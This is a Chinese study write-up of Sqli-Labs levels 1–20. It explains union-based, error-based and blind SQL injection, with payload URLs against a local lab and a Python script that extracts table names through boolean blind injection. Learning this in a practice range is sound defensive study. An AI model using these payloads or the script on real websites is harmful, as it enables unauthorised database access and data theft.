题目1-20

github地址

前言

以前对于SQL注入,就是先判断下能不能注入,可以的话先试着联合查询,不行的话再上SQLMap,去年寒假拿了一本《SQL注入攻击与防御》,拿回家,看了几章就看不下了,最近终于下定决心,把sqli刷一遍,这周做了20题,收获颇丰,做个笔记记录一下

SQL注入基本分类

  • 基于错误型
  • 联合查询
  • 盲注
  • 其他

联合查询

题目1,2,3,4,11,12

这种平时最常用的,order by然后union select1,2,3。然后逐渐利用元数据爆数据库,报表,爆字段。但是对原理一知半解。

这里来初步总结下

利用条件

存在注入且会讲数据库查询的内容显示在页面上

基本原理

UNION is used to combine the result from multiple SELECT statements into a single result set.这是官方文档,也就是说union是把多个select的句子输出到同一个结果里面。

看例子。正常的select



这里我们用上union



我们想一想,本来页面是这样的

上面两个是通过数据库返回的结果输出的,那我们可不可以通过一些手段让我们要的结果在这里输出呢,因为使用了union,所以返回结果是union前面和后面的累加,那我们只要让前面无结果输出,那么输出的结果不就是union后面我们自己构建的。



就像这样。那我们操控union 后面的select就可以看到我们要的结果,比如

具体例子

首先,因为union前面列数必须一致,我们必须找出实际列数。这里我们使用了order by,order by 是排序函数,因为order by 排序列数多于实际列数会报错。

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+



接下来,我们判断那些列数会输出来,又3列,但并非所有列都会在页面里面输出

http://127.0.0.1/sqli/Less-1/?id=-1' UNION SELECT 1,2,3 --+



接下来,我们就要在2和3的地方写函数来爆出我们想要的结果。

先爆数据库,用自带函数database()

http://127.0.0.1/sqli/Less-1/?id=-1' UNION SELECT 1,database(),3 --+



接下来以此爆表,爆字段,用到mysql5.0之后自带了一个表information_schema可以利用,在这里不一一展示。

基于错误型注入

题目:5,6,13,14,17,18,19,20

利用条件

存在注入且将mysql报错结果显示在页面上



所以我们要做的就是要让系统帮我们把我们想要的结果通过报错爆给我们

利用方式

floor报错

原理:看这篇文章MySQL Duplicate entry报错注入原理,其实简单来讲就是都是由于我们故意把种子写死,二次查询的时候主键冲突

简单介绍下怎么用把



然后认为控制floor(rand(0)*2)这个参数就行。



每次该改变database()哪个函数的值就行了

刚开始先回用,看不懂原理不要紧,以后用的熟练点再回来来看原理

updatexml报错



这是updatxml的官方文档,这里我们利用的就是第二个参数如果不符合xpath规定,会报错。我们认为控制这个参数

盲注

题目8,9,10,15,16

对于盲注,我以前的观点一直是看能不能叫个脚本,能套就好,也没去深究原理,但是最近对工具以及脚本的理解是工具只能做我们重复,但是不想做的事情。而不是不明原理的,一味的使用。这里都是脚本都不是一个完整的成套的脚本。

利用条件

适用于存在注入,没有报错,且查询到的结果不能显示再页面上。

分类

  • 布尔型盲注
  • 基于时间的盲注

    不同之处在于布尔型盲注正确与否返回的结果是不一样的,但是基于时间的是一样的

几个函数

substr()

mid()

left()

if()



还是官方文档来的容易看,还有例子

实际例子

第8题

正常



出错



只有这两个页面

这时我们按照原先联合查询思路。

但是到

http://127.0.0.1/sqli/Less-8/?id=1%27%20union%20select%201,2,3--+

这里开始不一样了,因为他的即使是正确的结果也不会回显出来。这时我们可以用手动判断他正不正确,不一定要爆出来。

本来数据库中的语句是

select x from XX where xx=xx

那我们就构造语句返回true或者false,使这个语句成为where的字句,用and 连接。

http://127.0.0.1/sqli/Less-8/?id=1%27%20and%20length(database())%20=1%20--+

报错

http://127.0.0.1/sqli/Less-8/?id=1%27%20and%20length(database())%20=8%20--+

正常

然后用substr

http://127.0.0.1/sqli/Less-8/?id=1'  and substr(datebase(),1,1)='a'

然后修改第二个参数可以得到不同的位数。

可能很多版本又说用ascii这个函数,那应该就是为了折半查找方便。

然后修改datbase()这个函数依次达到报表,爆库的作用。

下面简单贴出用python脚本报表的一个小脚本

import requests
s='''http://127.0.0.1/sqli/Less-8/?id=1\'  and length((select table_name from information_schema.tables where table_schema=(select database()) limit 0,1))={i}  --+'''
for i in range(100):
    url=s.format(i=i)
    content=requests.get(url,timeout=60).text
    if "You are in" in content:
        print i
        break
s='''http://127.0.0.1/sqli/Less-8/?id=1\'  and substr((select table_name from information_schema.tables where table_schema=(select database()) limit 0,1 ),{j},1)=\'{e}\' --+'''
check_char='123456789qwertyuiopasdfghjklzxcvbnm@'
data=""
for j in range(1,i+1):
    for e in check_char:
        url=s.format(j=j,e=e)
        content=requests.get(url,timeout=60).text
        if "You are in" in content:
            data+=e
            print data
            break

下面是运行界面

------------------------------------

未完待续

其他

题目:7,

Sqli-Labs学习总结一的更多相关文章

  1. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  2. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. C语言数组:C语言数组定义、二维数组、动态数组、字符串数组

    1.C语言数组的概念 在<更加优美的C语言输出>一节中我们举了一个例子,是输出一个 4×4 的整数矩阵,代码如下: #include <stdio.h> #include &l ...

  2. 刚开始学python——数据结构——“自定义队列结构“

    自定义队列结构  (学习队列后,自己的码) 主要功能:用列表模拟队列结构,考虑了入队,出队,判断队列是否为空,是否已满以及改变队列大小等基本操作. 下面是封装的一个类,把代码保存在myQueue.py ...

  3. Can not issue data manipulation statements with executeQuery().解决的方法

    query是查询用的,而update是插入和更新,删除修改用的. executeQuery()语句是用于产生单个结果集的语句,如select语句,在什么情况下用,当你的数据库已经保存了数据后,要进行查 ...

  4. [入门向选讲] 插头DP:从零概念到入门 (例题:HDU1693 COGS1283 BZOJ2310 BZOJ2331)

    转载请注明原文地址:http://www.cnblogs.com/LadyLex/p/7326874.html 最近搞了一下插头DP的基础知识……这真的是一种很锻炼人的题型…… 每一道题的状态都不一样 ...

  5. IDE eclipse PyDev插件安装

    Python安装成功后,即要配置开发环境,这里选用Eclipse, 在Eclipse中安装PyDev插件,有多种方法,这里介绍最最常用的两种. 1)使用Eclipse安装插件,打开eclipse,进入 ...

  6. <Mastering KVM Virtualization>:第三章 搭建独立的KVM虚拟化

    在第二章,你了解了KVM的内部结构:在本章中,您将了解如何将Linux服务器设置为虚拟化主机.我们正在讨论将KVM用于虚拟化并将libvirt作为虚拟化管理引擎. KVM开启了虚拟化并利用你的服务器或 ...

  7. 【环境搭建】使用Jekyll搭建Github博客

    前言 昨天花了差不多一天的时间,使用Jekyll搭建起了一套Github博客,感觉不错,也特将搭建过程记录下来,方便有需要的朋友自行搭建. 搭建步骤 本环境是在Linux环境下搭建完成的 安装前建议使 ...

  8. 一个基于JRTPLIB的轻量级RTSP客户端(myRTSPClient)——实现篇:(三)用户接口层之RTSP命令

    截至版本1.2.3,myRtspClient函数库共支持以下6个RTSP命令: (1)OPTIONS (2)DESCRIBE (3)SETUP (4)PLAY (5)PAUSE (6)TEARDOWN ...

  9. 如何修改ionic Popup的样式

    第一次用ionic的Popup时感觉很好用,但是太丑了.但是又不会修改自定义的样式,只能自己写了个模态框.后来仔细搜索了一下.发现还是可以修改的. var confirmPopup = $ionicP ...

  10. JavaScript 学习笔记 - LocalStorage

    前言 本文主要介绍本地存储的基本使用,以及它和 Cookie.SessionStorage 的区别. 简单回顾 Cookie 在 HTML5 之前,本地存储数据一般是通过 Cookie 来完成的.我们 ...